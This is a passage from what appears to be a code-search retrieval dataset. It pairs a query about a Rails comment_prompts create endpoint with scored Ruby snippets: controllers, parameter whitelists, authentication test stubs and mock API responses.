response.getResponseBody.value.getHashToken().getReference()\n\t\t\t\t\tresult['hashToken value'] = response.getResponseBody.value.getHashToken().getValue()\n\t\t\t\t\tresult['messageId'] = abody.getHeader().getMessageId().getMessageIdScheme()\n\t\t\t\t\tresult['messageIdValue'] = abody.getHeader().getMessageId().getValue()\n\t\t\t\t\tresult['inReplyTo'] = abody.getHeader().getInReplyTo().getMessageIdScheme()\n\t\t\t\t\tresult['inReplyToValue'] = abody.getHeader().getInReplyTo().getValue()\n\t\t\t\t\tresult['sentBy'] = abody.getHeader().getSentBy().getMessageAddressScheme()\n\t\t\t\t\tresult['sentByValue'] = abody.getHeader().getSentBy().getValue()\n\t\t\t\t\tresult['correlationId'] = abody.getCorrelationId().getCorrelationIdScheme()\n\t\t\t\t\tresult['correlationIdValue'] = abody.getCorrelationId().getValue()\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn result\n\t\tend\n\tend",
"title": ""
},
{
"docid": "fa46637329e22d1a6e7323f16b16b779",
"score": "0.5150642",
"text": "def test_auto_verify_and_promo_object_in_slash_me_with_invalid_promo\n # Make sure we're using an invalid promo first to catch data issues before we assume it's a code issue.\n params = { 'code' => @expired_promo }\n\n get '/pros/verify', params.merge(api_key)\n assert_response(@response, :client_error, \"Expected #{@expired_promo} to be an invalid, but it wasn't.\")\n\n assign_http(Config['turtle']['host'])\n\n # Step 1\n user = TurtleUser.new('promo_id' => @expired_promo_id)\n turtle_response = user.register\n assert_response(turtle_response, :success)\n\n # Step 2\n assert_equal(0, user.verified, \"User should not be verified when registering with an invalid promo code\")\n\n # Step 3\n turtle_response = user.login\n assert_response(turtle_response, :success)\n user.login_oauth\n refute_nil(user.oauth_token, \"oauth_token is missing!\")\n\n # Step 4\n headers = { 'Authorization' => \"Bearer #{user.oauth_token}\" }\n\n user_attributes = {\n 'human' => 'true',\n 'spider' => 'false'\n }\n\n params = {\n 'user' => {\n 'user_attributes' => user_attributes\n },\n 'promo_id' => 6245513451 # will never be a real promo id\n }\n params['promo_team'] = @promo['TeamNames'].sample unless @promo['TeamNames'].empty?\n\n put '/usr', params, headers\n assert_response(@response, :client_error)\n\n # Step 5\n params = { 'include_promos' => 'true' }\n\n get '/me', params, headers\n assert_response(@response, :success)\n assert_empty(@parsed_response['user_attributes'])\n assert_empty(@parsed_response['promos'])\n end",
"title": ""
},
{
"docid": "bb097debe6eb3944e1be2aae3479dccd",
"score": "0.51486933",
"text": "def test_verification_for_unverified_user\n # Step 1\n assert(@unverified_user.id)\n\n # Step 2\n lookup_user_by_email(@unverified_user.email)\n assert_equal(false, @parsed_response['verified'], @parsed_response)\n\n @unverified_user.login_oauth\n refute_nil(@unverified_user.oauth_token)\n\n get_user_info(@unverified_user.oauth_token)\n assert_equal(0, @parsed_response['verified'], @parsed_response)\n\n # Step 3\n assign_http(Config['panda']['host'])\n\n params = { 'user_id' => @unverified_user.id }\n\n post '/em/registration', params\n assert_response(@response, :success)\n assert_match(@parsed_response['MailingID'], @parsed_response['Location'], @parsed_response)\n end",
"title": ""
},
{
"docid": "0f82b80d42b1ffeda62c79170fa65d9d",
"score": "0.51483816",
"text": "def omniauth_style_response(response_body)\n input = MultiJson.decode(response_body)['user']\n\n {\n 'uid' => input['uid'],\n 'info' => {\n 'email' => input['email'],\n 'name' => input['name']\n },\n 'extra' => {\n 'user' => {\n 'permissions' => input['permissions']\n }\n }\n }\n end",
"title": ""
},
{
"docid": "1d205c772fdfcf030b90cc537859f51d",
"score": "0.5146513",
"text": "def random_phrase\n stub_response # REPLACE ME!\n end",
"title": ""
},
{
"docid": "772724fcd74335d17003303e55d21feb",
"score": "0.51455075",
"text": "def mock_urs_get_users(count: 1, users: [])\n urs_response_body = { 'users' => users.blank? ? [] : users }\n count.times do\n urs_response_body['users'].push({ 'first_name' => 'Test', 'last_name' => 'User', 'uid' => 'testuser' })\n end\n urs_response = cmr_success_response(urs_response_body.to_json)\n allow_any_instance_of(Cmr::UrsClient).to receive(:get_urs_users).and_return(urs_response)\n end",
"title": ""
},
{
"docid": "27226e724982d580da02acd88a99ff34",
"score": "0.51392436",
"text": "def test_post_auth\n @options.merge!(:authorization_code => 123456)\n response = @gateway.post_auth(@options)\n assert response.params['post_auth_return']\n end",
"title": ""
},
{
"docid": "d69a58fbe77209d97d96ac9e01369387",
"score": "0.5134306",
"text": "def test_post_auth\n @options[:authorization_code] = 123456\n response = @gateway.post_auth(@options)\n assert response.params['post_auth_return']\n end",
"title": ""
},
{
"docid": "c45cf63d9f957cf74f968a50f8b893a2",
"score": "0.5131831",
"text": "def test_authenticate\n redirect = 'http://foo'\n get :authorize, response_type: 'code', client_id: CLIENT_ID, scope: 'openid profile email',\n redirect_uri: redirect, nonce: '12141512544124', state: 123\n assert_response 200\n\n key = OpenIdController::OII + CLIENT_ID\n svars = session[key]\n assert_not_nil svars[:redirect]\n assert_not_nil svars[:nonce]\n assert_not_nil svars[:state]\n assert_not_nil svars[:scope]\n assert_not_nil svars[:prompt]\n\n # Bad credentials\n get :validate, email: 'testuser1@test.com', password: 'passwordx', client_id: CLIENT_ID\n assert_response 400\n\n # Good credentials\n get :validate, email: 'testuser1@test.com', password: 'password', client_id: CLIENT_ID\n assert_response 200\n\n get :confirm, permit: 'on', email: 'on', profile: 'on', client_id: CLIENT_ID\n assert_response 302\n assert_not_nil response.headers['Location']\n assert_not_nil response.headers['Location'].index('code=')\n assert_not_nil response.headers['Location'].index('state=')\n end",
"title": ""
},
{
"docid": "309fe38364a6c0679fbfbc257aa0ffb5",
"score": "0.5130958",
"text": "def new\n response_wrapper(\n :ok,\n {\n email: nil,\n login: nil,\n password: nil\n }\n )\n end",
"title": ""
},
{
"docid": "cb8f51e0c35fcc0ef8c375034b1d7cba",
"score": "0.51209176",
"text": "def test\n render :json => {:message => \"Successfully Authenticated\"}\n end",
"title": ""
},
{
"docid": "34e4b4cdd5d964c13364939a448c46e9",
"score": "0.51172394",
"text": "def omniauth\n @omniauth\n end",
"title": ""
},
{
"docid": "d6710157ed7ef79ddbfbc81e3f9195a5",
"score": "0.5116369",
"text": "def stub_athlete_auth_success(options = {})\n url = 'https://www.strava.com/api/v3/athlete'\n status = options.fetch(:status, 200)\n response_body = options.fetch(:response_body,\n json_string('athlete_auth_success.json'))\n stub_request(:get, url).with(\n headers: {\n 'Accept' => '*/*',\n 'Accept-Encoding' => 'gzip;q=1.0,deflate;q=0.6,identity;q=0.3',\n 'Authorization' => 'Bearer Valid_Token',\n 'Host' => 'www.strava.com',\n 'User-Agent' => 'Ruby'\n }\n ).to_return(status: status, body: response_body)\n end",
"title": ""
},
{
"docid": "ddb41fce67ef653cb582c878574081ca",
"score": "0.5109238",
"text": "def response\n response = responses.fetch(@response_counter, responses.last)\n @response_counter += 1\n response.mock = @from || true\n response\n end",
"title": ""
},
{
"docid": "afdbd124ec3351e8da1d17eb80228cee",
"score": "0.51056856",
"text": "def perform_login(merchant = nil)\n merchant ||= Merchant.first\n\n # Create mock data for this merchant as though it had come from github\n mock_auth_hash = {\n uid: merchant.uid,\n provider: merchant.provider,\n info: {\n nickname: merchant.username,\n email: merchant.email,\n },\n }\n\n # Tell OmniAuth to use this data for the next request\n OmniAuth.config.mock_auth[:github] = OmniAuth::AuthHash.new(mock_auth_hash)\n\n get auth_callback_path(\"github\")\n\n return merchant\n end",
"title": ""
},
{
"docid": "ab7890da90fad7b09701e8c8e6bc4ab4",
"score": "0.51056564",
"text": "def mock_get_approver_emails\n get_permissions_response_body = { 'items' => [{ 'revision_id' => 1, 'concept_id' => 'ACL1200000353-CMR', 'identity_type' => 'Provider', 'name' => 'Provider - MMT_2 - NON_NASA_DRAFT_APPROVER', 'location' => 'http://localhost:3011/acls/ACL1200000353-CMR' }] }\n get_permission_response_body = { 'group_permissions' => [{ 'group_id' => 'AG1200000351-MMT_2', 'permissions' => ['create'] }] }\n group_member_response_body = %w[user1 user2]\n\n get_permissions_response = cmr_success_response(get_permissions_response_body.to_json)\n get_permission_response = cmr_success_response(get_permission_response_body.to_json)\n group_member_response = cmr_success_response(group_member_response_body.to_json)\n\n allow_any_instance_of(Cmr::CmrClient).to receive(:get_permissions).and_return(get_permissions_response)\n allow_any_instance_of(Cmr::CmrClient).to receive(:get_permission).and_return(get_permission_response)\n allow_any_instance_of(Cmr::CmrClient).to receive(:get_group_members).and_return(group_member_response)\n end",
"title": ""
},
{
"docid": "8b1d426073d958630a8fda92abeda608",
"score": "0.5104649",
"text": "def test_live_api_secondary_ok\n mock_clients bad_req_code, nil\n name = ENV['TEST_NAME']\n email = ENV['TEST_EMAIL']\n\n assert !name.nil?\n assert !email.nil?\n\n email_addr = EmailAddress.new(name, email)\n email_addr_text = \"#{name} <#{email}>\"\n\n request_hash = {}\n request_hash['from'] = email_addr_text\n request_hash['to'] = email_addr_text\n request_hash['cc'] = email_addr_text\n request_hash['bcc'] = email_addr_text\n request_hash['subject'] = 'Moisiadis Email API Test'\n request_hash['content'] = 'Sent with the Moisiadis Email API using Mailgun'\n\n expected_hash = {}\n expected_hash['from'] = email_addr\n expected_hash['to'] = [email_addr]\n expected_hash['cc'] = [email_addr]\n expected_hash['bcc'] = [email_addr]\n expected_hash['subject'] = request_hash['subject']\n expected_hash['content'] = request_hash['content']\n\n assert_equal expected_response(ok_code, expected_hash), ambiguous_request(request_hash)\n end",
"title": ""
},
{
"docid": "cc44bcc4c86dec11e27ab42c95a7e505",
"score": "0.5100702",
"text": "def omniauth\n Hashie::Mash.new auth_hash\n end",
"title": ""
},
{
"docid": "8c693d56fe6fb36c21818f5cc23cbac4",
"score": "0.5098558",
"text": "def test_authentication_return_error\n stub_request(:post, /.*/)\n .to_return(body: JSON.dump(Hash['status' => 401,\n 'error' => 'Authentication failure',\n 'text' => 'Invalid username or password'\n ]))\n\n auth_block = @ts.authenticate(username: 'example-user',\n password: 'password',\n auth_type: 'password')\n\n assert_equal(auth_block,\n Hash['status' => 401,\n 'error' => 'Authentication failure',\n 'text' => 'Invalid username or password'])\n end",
"title": ""
},
{
"docid": "2874190ff8df566038d18007f08c1b62",
"score": "0.5093311",
"text": "def auth\n begin\n product_response = client.auth.get(access_token)\n pretty_print_response(product_response)\n content_type :json\n { auth: product_response }.to_json\n rescue Plaid::PlaidAPIError => e\n error_response = format_error(e)\n pretty_print_response(error_response)\n content_type :json\n error_response.to_json\n end\n end",
"title": ""
},
{
"docid": "6c1d5c0e4bda01466b9a0f4b6a90e3c1",
"score": "0.50874746",
"text": "def callback\n user = User.from_omniauth(request.env['omniauth.auth'])\n render json: user, meta: request.env['omniauth.auth']\n end",
"title": ""
},
{
"docid": "4d4bd52df3923e5b3f227a7945dc047e",
"score": "0.50872123",
"text": "def test_obtain_token\n client = Moodle::Protocol::Rest.new\n client.stubs(:request).returns('{\"token\" : \"12345\"}')\n moodle_client = Moodle::Client.new({:token => 'dummy', :domain => 'test'})\n moodle_client.stubs(:client).returns(client)\n assert_equal '12345', moodle_client.obtain_token()\n end",
"title": ""
},
{
"docid": "da42274806e35280c387a893c21951d3",
"score": "0.5078325",
"text": "def test_obtain_token\n RestClient.stubs(:get).returns('{\"token\" : \"12345\"}')\n moodle_client = Moodle::Client.new({:token => 'dummy', :domain => 'test'})\n assert_equal '12345', moodle_client.obtain_token()\n end",
"title": ""
},
{
"docid": "dfdf799dcb49c7c71a153f369ce06b5d",
"score": "0.5074939",
"text": "def sample_account_response(options={})\r\n\t{ \"account_id\" => \"12345\",\r\n\t \"name\" => \"Example Account\",\r\n\t \"description\" => \"This is just an example WePay account.\",\r\n\t \"account_uri\" => \"https://stage.wepay.com/account/12345\" }.merge(options).to_json\r\n end",
"title": ""
},
{
"docid": "ecb912bfbb0da40fdf6f18cd2bd431c1",
"score": "0.5068332",
"text": "def verify\n @outlet = Outlet.resolves(params[:url])\n if @outlet\n respond_to do |format|\n format.json { render \"verify\" }\n end\n else\n respond_to do |format|\n format.json { render json: { error: \"No social media account found for: #{params[:q]}\"} }\n end\n end\n end",
"title": ""
},
{
"docid": "57cf89f695fec1e8532b7a470f56e068",
"score": "0.50658715",
"text": "def successful_response\n {\n 'ResponseCode' => '00',\n 'ResponseMsg' => 'Aprobada',\n 'MerchantId' => '6445472',\n 'AuthCode' => '2222222',\n 'OrderId' => @order_id,\n 'TimeIn' => '1357820939055',\n 'CardTypeName' => '05',\n 'IssuerAuthData' => '00000000'\n }\n end",
"title": ""
}
] |
847e0769fd732a1485ed04984e2646ea
|
POST /comment_prompts POST /comment_prompts.json
|
[
{
"docid": "acf538f71394cd1b008032f47a8c5f00",
"score": "0.69032043",
"text": "def create\n @comment_prompt = CommentPrompt.new(comment_prompt_params)\n\n respond_to do |format|\n if @comment_prompt.save\n format.html { redirect_to @comment_prompt, notice: 'Comment prompt was successfully created.' }\n format.json { render :show, status: :created, location: @comment_prompt }\n else\n format.html { render :new }\n format.json { render json: @comment_prompt.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "529ca09380461350e1158ab535fbdbf7",
"score": "0.6332964",
"text": "def create\n @promptlike = Promptlike.new(promptlike_params)\n\n if @promptlike.save\n render json: @promptlike\n else\n render json: @promptlike.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "15e49f86c452faf7aa6f768a9760030a",
"score": "0.63261646",
"text": "def create\n @prompts_answer = PromptsAnswer.new(prompts_answer_params)\n\n respond_to do |format|\n if @prompts_answer.save\n format.html { redirect_to @prompts_answer, notice: \"Prompts answer was successfully created.\" }\n format.json { render :show, status: :created, location: @prompts_answer }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @prompts_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "01264a31119ed56630d2f17cfc9ffd66",
"score": "0.63158214",
"text": "def prompts_answer_params\n params.require(:prompts_answer).permit(:prompt_one, :owner_id, :prompt_id, :prompt_two, :prompt_three)\n end",
"title": ""
},
{
"docid": "2cbf04a77848ac85186df2178d3077b4",
"score": "0.6189013",
"text": "def index\n @comment_prompts = CommentPrompt.all\n end",
"title": ""
},
{
"docid": "b6cdaa5db7d543bdd5ec22e21990e188",
"score": "0.6146387",
"text": "def comment_prompt_params\n params[:comment_prompt]\n end",
"title": ""
},
{
"docid": "f6e5b32cd9c91c03504f2ac45e81c7c7",
"score": "0.603381",
"text": "def answercomment_params\n params.require(:answercomment).permit(:user_id, :answer_id, :texto)\n end",
"title": ""
},
{
"docid": "3195fc2574ec11d693eeefe7b7f1b9d6",
"score": "0.60150325",
"text": "def create\n @answercomment = current_user.answercomments.new(answercomment_params)\n @answercomment.answer = @answer\n @answercomment.puntaje = 0\n \n respond_to do |format|\n if @answercomment.save\n format.html { redirect_to @answercomment.answer.question , notice: 'El comentario de respuesta fue creado exitosamente' }\n format.json { render :show, status: :created, location: @answercomment }\n else\n format.html { render :new }\n format.json { render json: @answercomment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b304ea356a238cd162b93af00f10a377",
"score": "0.6000015",
"text": "def answercomment_params\n params.require(:answercomment).permit(:body, :answer_id, :user_id)\n end",
"title": ""
},
{
"docid": "a3c4378ef2214499cac6a4ecce4db6b5",
"score": "0.59763825",
"text": "def answer_comment_params\n params[:answer_comment]\n end",
"title": ""
},
{
"docid": "a3c4378ef2214499cac6a4ecce4db6b5",
"score": "0.59763825",
"text": "def answer_comment_params\n params[:answer_comment]\n end",
"title": ""
},
{
"docid": "1ab16cc8240e3f25caf0815fc4982231",
"score": "0.59738195",
"text": "def comment_answer_params\n params.require(:comment_answer).permit(:descripcion, :user_id, :answer_id)\n end",
"title": ""
},
{
"docid": "61fe95ecd0494a53f998af21e714151a",
"score": "0.59668946",
"text": "def create\n @answer = Answer.find(params[:answer_id])\n @answercomment = @answer.answercomments.new(answercomment_params)\n @answercomment.user = current_user\n @question = @answer.question\n\n respond_to do |format|\n if @answercomment.save\n format.html { redirect_to :back, notice: 'Comment was successfully created.' }\n format.json { render :show, status: :created, location: @answercomment }\n CommentMailer.answercomment_confirm_oqp(@question).deliver_now\n CommentMailer.answercomment_confirm_answerer(@question, @answer).deliver_now\n \n else\n format.html { render :new }\n format.json { render json: @answercomment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "194401a19bbcaee8ec75a8acec2228f1",
"score": "0.5954995",
"text": "def create\n @prompt = Prompt.new(prompt_params)\n\n respond_to do |format|\n if @prompt.save\n format.html { redirect_to prompts_path, notice: 'Prompt was successfully created.' }\n format.json { render :show, status: :created, location: @prompt }\n else\n format.html { render :new }\n format.json { render json: @prompt.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cf3c5547994278e9c4909b3ff66f03d5",
"score": "0.59379816",
"text": "def set_comment_prompt\n @comment_prompt = CommentPrompt.find(params[:id])\n end",
"title": ""
},
{
"docid": "199222753cd804e749588374bb47e1f9",
"score": "0.59109575",
"text": "def set_prompts_answer\n @prompts_answer = PromptsAnswer.find(params[:id])\n end",
"title": ""
},
{
"docid": "e8037d297252a0fe5c11cfa7e4f14209",
"score": "0.5906832",
"text": "def reply_params\n if params[:reply][:answer].kind_of?(Hash)\n params[:reply][:answer] = params[:reply][:answer].values.join('|')\n elsif !params[:reply][:answer_other].blank?\n params[:reply][:answer] = params[:reply][:answer_other]\n end\n\n params[:reply][:project_id] = current_project.id\n\n params.require(:reply).permit(\n :project_id,\n :prompt_id,\n :answer,\n :complete,\n :skipped,\n :not_applicable\n )\n\n end",
"title": ""
},
{
"docid": "134d8062d27fc6ecfcb8b7317fb6ac2f",
"score": "0.5895941",
"text": "def answer_params\n params.require(:answer).permit(:title, :body, :username, :chosen)\n end",
"title": ""
},
{
"docid": "7e44d1a7793d79283e95fa06e6108f14",
"score": "0.5870477",
"text": "def answer_params\n params.require(:answer).permit(:reply)\n end",
"title": ""
},
{
"docid": "e993764a0a8105e57c672983bfd58370",
"score": "0.58659285",
"text": "def create\n @questioncomment = current_user.questioncomments.new(questioncomment_params)\n @questioncomment.question = @question\n @questioncomment.puntaje = 0\n\n respond_to do |format|\n if @questioncomment.save\n format.html { redirect_to @questioncomment.question, notice: 'Comentario de pregunta creado.' }\n format.json { render :show, status: :created, location: @questioncomment }\n else\n format.html { render :new }\n format.json { render json: @questioncomment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6dec1c2a8dea138e8d8e5af8425070ef",
"score": "0.58638287",
"text": "def create\n @prompt = Prompt.new(params[:prompt])\n\n respond_to do |format|\n if @prompt.save\n format.html { redirect_to @prompt, notice: 'Prompt was successfully created.' }\n format.json { render json: @prompt, status: :created, location: @prompt }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prompt.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a730c7c07edcb7cb0da38d3ab323fbc7",
"score": "0.5843266",
"text": "def answer_comment_params\n params.fetch(:answer_comment, {})\n end",
"title": ""
},
{
"docid": "ffd8d69b54fd8e97f7408348e49a5d3f",
"score": "0.5826198",
"text": "def create\n @reply = Reply.new(reply_params)\n\n respond_to do |format|\n if @reply.save\n current_project.update_section_status(@reply.prompt.top_section)\n format.html do\n set_reply_exclusion(@reply.id)\n n = next_prompt(current_project, @reply.prompt.section)\n redirect_to n, notice: 'Reply was successfully created.'\n end\n format.json { render action: 'show', status: :created, location: @reply }\n else\n format.html { render action: 'new' }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c09cd75940dd293e66b20f343777da17",
"score": "0.58206326",
"text": "def create\n @prompt = Prompt.new(prompt_params)\n\n respond_to do |format|\n if @prompt.save\n format.html { redirect_to @prompt, notice: 'Prompt was successfully created.' }\n format.json { render :show, status: :created, location: @prompt }\n else\n format.html { render :new }\n format.json { render json: @prompt.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "57e0a748c95d88ea48e06a17442eed59",
"score": "0.58067864",
"text": "def update\n respond_to do |format|\n if @comment_prompt.update(comment_prompt_params)\n format.html { redirect_to @comment_prompt, notice: 'Comment prompt was successfully updated.' }\n format.json { render :show, status: :ok, location: @comment_prompt }\n else\n format.html { render :edit }\n format.json { render json: @comment_prompt.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "41cb7c5d46cb4a3b50037c86d3842e31",
"score": "0.5780607",
"text": "def create\n responder_id = params[:responder_id] || rand.to_s[2,15]\n for ans in params[:answer].keys.select {|k| k =~ /^answer_to_question_/}\n Answer.create(:responder_id=>responder_id, :question_id=>ans[-2,2].to_i,\n :answer_text=>params['answer'][ans])\n end\n\n flash[:notice] = 'Answers were successfully created.'\n redirect_to(Poll.find(params['answer']['poll_id']))\n end",
"title": ""
},
{
"docid": "01dc64df1cd2ebcb7e430c849442ff5a",
"score": "0.5772729",
"text": "def create\n @question = Question.find(params[:question_id])\n @comment_question = @question.comment_questions.new(params[:comment_question])\n @comment_question.user = current_user\n\n respond_to do |format|\n if @comment_question.save\n format.html { redirect_to @question, notice: 'Comment question was successfully created.' }\n format.json { render json: @question, status: :created, location: @question }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3b5be0c096b145c11640e323079ace79",
"score": "0.5761285",
"text": "def for_create_question(questions, answer_options)\n answer_options.each do |op|\n questions.answer_options.create(answer: op)\n end\n response = Hash.new { |h, k| h[k] = Hash.new(&h.default_proc) }; answers = []\n questions.answer_options.each do |ans_opt|\n answers << { option: ans_opt.answer }\n end\n response[:question] = { id: questions.id, question: questions.question, points: questions.points, correct_option: questions.correct_option, options: answers }\n PushNotification.new(@user.device_token, 'Quiz', \"New quiz is available\").Send_Notification\n render json: response, status => 200\n end",
"title": ""
},
{
"docid": "5788aab582cf88363919d3adf120eaa8",
"score": "0.5760384",
"text": "def create\n @question = Question.find(params[:question_id])\n @comment_question = CommentQuestion.new(comment_question_params)\n @comment_question.user = current_user\n @comment_question.question = @question\n\n respond_to do |format|\n if @comment_question.save\n format.html { redirect_to @comment_question.question, notice: 'Se ha enviado tu comentario de manera correcta!' }\n format.json { render :show, status: :created, location: @comment_question }\n else\n format.html { render :new }\n format.json { render json: @comment_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9d6eac77f75dbbcad55193ae759c17b7",
"score": "0.57524824",
"text": "def submit_feedback\n @questionaire_answer = QuestionaireAnswer.new\n @questionaire_answer.quest_id = which_questionaire\n @questionaire_answer.user_id = session[:user_id]\n @questionaire_answer.comments = params[:questionaire_answer][:comments]\n @questionaire_answer.q1 = params[:questionaire_answer_q1][:true]\n @questionaire_answer.q2 = params[:questionaire_answer_q2][:true]\n @questionaire_answer.q3 = params[:questionaire_answer_q3][:true]\n @questionaire_answer.q4 = params[:questionaire_answer_q4][:true]\n @questionaire_answer.q5 = params[:questionaire_answer_q5][:true]\n @questionaire_answer.q6 = params[:questionaire_answer_q6][:true]\n @questionaire_answer.q7 = params[:questionaire_answer_q7][:true]\n @questionaire_answer.q8 = params[:questionaire_answer_q8][:true]\n @questionaire_answer.q9 = params[:questionaire_answer_q9][:true]\n @questionaire_answer.q10 = params[:questionaire_answer_q10][:true]\n @questionaire_answer.save\n @questionaire = Questionaire.find(which_questionaire)\n @questionaire.responses = @questionaire.responses + 1\n @questionaire.save\n flash[:notice] = Resource.get('feedback_thanks_msg')\n redirect_to :action => 'index'\n end",
"title": ""
},
{
"docid": "badb5cb4db86682cab56f92c79ce01d9",
"score": "0.5752438",
"text": "def create\n @answer = Answer.find(params[:answer_id])\n @comment_answer = CommentAnswer.new(comment_answer_params)\n @comment_answer.user = current_user\n @comment_answer.answer = @answer\n respond_to do |format|\n if @comment_answer.save\n format.html { redirect_to @comment_answer.answer, notice: 'El comentario ha sido creado!' }\n format.json { render :show, status: :created, location: @comment_answer }\n else\n format.html { render :new }\n format.json { render json: @comment_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d2278cd98faa06199ac1ebb54541f774",
"score": "0.57320625",
"text": "def answer_params\n params.require(:answer).permit(:body, :correct)\n end",
"title": ""
},
{
"docid": "e1809a521803598d5b2268daa709ffe2",
"score": "0.5718564",
"text": "def question_params\n params.require(:question).permit(:profile_id, :text)\n end",
"title": ""
},
{
"docid": "128f0f88be494d25c26d898a6eca5f61",
"score": "0.5703428",
"text": "def promptlike_params\n params.require(:promptlike).permit(:user_id, :prompt_id)\n end",
"title": ""
},
{
"docid": "03462f9ea053a75fc6a549d9c4605448",
"score": "0.5697934",
"text": "def prompt_params\n params.require(:prompt).permit(:title, :body, :tagged_as, :anon, :rating)\n end",
"title": ""
},
{
"docid": "58c74c51f717879627936841055cdd06",
"score": "0.5696847",
"text": "def create\n @question = Question.find_by_slug(params[:question])\n @reply = @question.replies.where('replies.employee_id = ?', current_employee.id).first\n asks = params.select{|x| x != 'utf8'}.select{|x| x != 'authenticity_token' }.select{|x| x != 'controller'}.select{|x| x != 'action'}.select{|x| x != 'question'}\n\n asks.keys.each_with_index do |ask, index|\n @reply.reply_options.create({option_id: asks[ask].to_i, ask_id: ask.to_i})\n end\n\n @reply.close!\n ReplyMailer.reply_question(@reply, @question).deliver_now\n redirect_to question_reply_path(@question, @reply)\n end",
"title": ""
},
{
"docid": "ef8e1df52c11de01990ba43719071b5a",
"score": "0.5681913",
"text": "def create\n # TODO: change to Poll.new and verify poll.save\n @poll = Poll.create(name: params[\"quiz_title\"],\n course_id: 1,\n is_open: true)\n questions = params.keys.select{ |i| i =~ /^q\\d$/ }\n all_answers = params.keys.select{ |i| i =~ /^q\\da\\d$/ }\n \n answer_keys = params.keys.select{ |i| i =~ /^q\\dr$/ }\n correct_answers = answer_keys.map{ |i| params[i] }\n \n questions.each { |q|\n question = @poll.questions.create(text: params[q])\n \n answers = all_answers.select{ |i| i =~ /^#{q}/ }\n answers.each{ |a|\n question.answers.create(\n text: params[a],\n weight: is_answer_correct?(correct_answers, a) ? 1 : 0,\n votes: 0)\n }\n }\n\n # respond_to do |format|\n # if @poll.save\n # format.html { redirect_to @poll, notice: 'Poll was successfully created.' }\n # format.json { render :show, status: :created, location: @poll }\n # else\n # format.html { render :new }\n # format.json { render json: @poll.errors, status: :unprocessable_entity }\n # end\n # end\n redirect_to :root\n end",
"title": ""
},
{
"docid": "8167300089ef0220ba27b5a087a19d98",
"score": "0.5673642",
"text": "def answer_params\n params.fetch(:answer).permit(:body, :correct)\n end",
"title": ""
},
{
"docid": "a7a6a9cd7a6d63654a00a62ddcc18bf2",
"score": "0.56723046",
"text": "def answer_params\n params.require(:answer).permit(:content, :correct)\n end",
"title": ""
},
{
"docid": "03b272795d55d47002336b883a5830d8",
"score": "0.56686544",
"text": "def answer_params\n params.require(:answer).permit(:title, :description)\n end",
"title": ""
},
{
"docid": "ae3c68dc419e72da6350e94c85d9a600",
"score": "0.5642394",
"text": "def choose_answer_params\n params.require(:choose_answer).permit(:title, :body)\n end",
"title": ""
},
{
"docid": "848ebb227323b606646220df36f26fc6",
"score": "0.5622718",
"text": "def answer_params\n params.require(:answer).permit(:presentation_id, :question, :click)\n end",
"title": ""
},
{
"docid": "a51c8382ed64c4219edd3e1d1bdefb26",
"score": "0.5620603",
"text": "def reply_params\n params.require(:reply).permit(:question_id, :question_reply)\n end",
"title": ""
},
{
"docid": "08853247fa15dac576012e7d59509ea8",
"score": "0.5617514",
"text": "def replycomment_params\n params.require(:replycomment).permit(:comment)\n end",
"title": ""
},
{
"docid": "86defb7f9f2d7abdab06228cf8dcf98e",
"score": "0.56126297",
"text": "def retweet_params\n params.require(:comment).permit(:comment)\n end",
"title": ""
},
{
"docid": "e2833d40066b3e221bdd1337c0f083b0",
"score": "0.5609043",
"text": "def postReplyForFeedback *args\n options=fill_args [\n :feedbacktext,:userid,:username,:projectid\n ],[\n :feedbacktext,:projectid\n ],*args\n if options[:username]==nil && options[:userid]==nil\n raise \"Username or userid is required\"\n end\n if options[:username]!=nil && options[:userid]!=nil\n raise \"Both username and userid is not allowed\"\n end\n request \"/Common/postReplyForFeedback.json\", options\n end",
"title": ""
},
{
"docid": "9cd5fc042ad8219d0d098b9d1da9a4a7",
"score": "0.56056935",
"text": "def questioncomment_params\n params.require(:questioncomment).permit(:user_id, :question_id, :texto)\n end",
"title": ""
},
{
"docid": "900efc758d439b19c6a4ab837da9d403",
"score": "0.55949044",
"text": "def create\n @title = t('view.replies.new_title')\n @reply.user_id = current_user.id\n\n respond_to do |format|\n if @reply.save\n format.html { redirect_to [@question, @reply], notice: t('view.replies.correctly_created') }\n format.json { render json: @reply, status: :created, location: @reply }\n else\n format.html { render action: 'new' }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "92b1245a9ced0e3c257b5024eb340b3f",
"score": "0.55943453",
"text": "def answer_params\n params.require(:answer).permit(:body, :correct, :question_id)\n end",
"title": ""
},
{
"docid": "65f08612cbdd517bbe70acdb1ccd7428",
"score": "0.559392",
"text": "def judgement_params\n params.require(:judgement).permit(:answer_id, :user_id, :content, :result, :cancel)\n end",
"title": ""
},
{
"docid": "fbfa9a4e18698a233986f59a2a48d119",
"score": "0.5593418",
"text": "def to_live_answer_params\n params.require(:to_live_answer).permit(:question_id, :answer, :choose, :correct)\n end",
"title": ""
},
{
"docid": "70ddea0681154064099b1eb57b392b7f",
"score": "0.5592483",
"text": "def answer_params\n params.require(:answer).permit(:answer, :comment, :question_id)\n end",
"title": ""
},
{
"docid": "663fbf0d7c86f60aed3942e3ecd1619d",
"score": "0.55816215",
"text": "def answer_params\n params.require(:answer).permit(:answer)\n end",
"title": ""
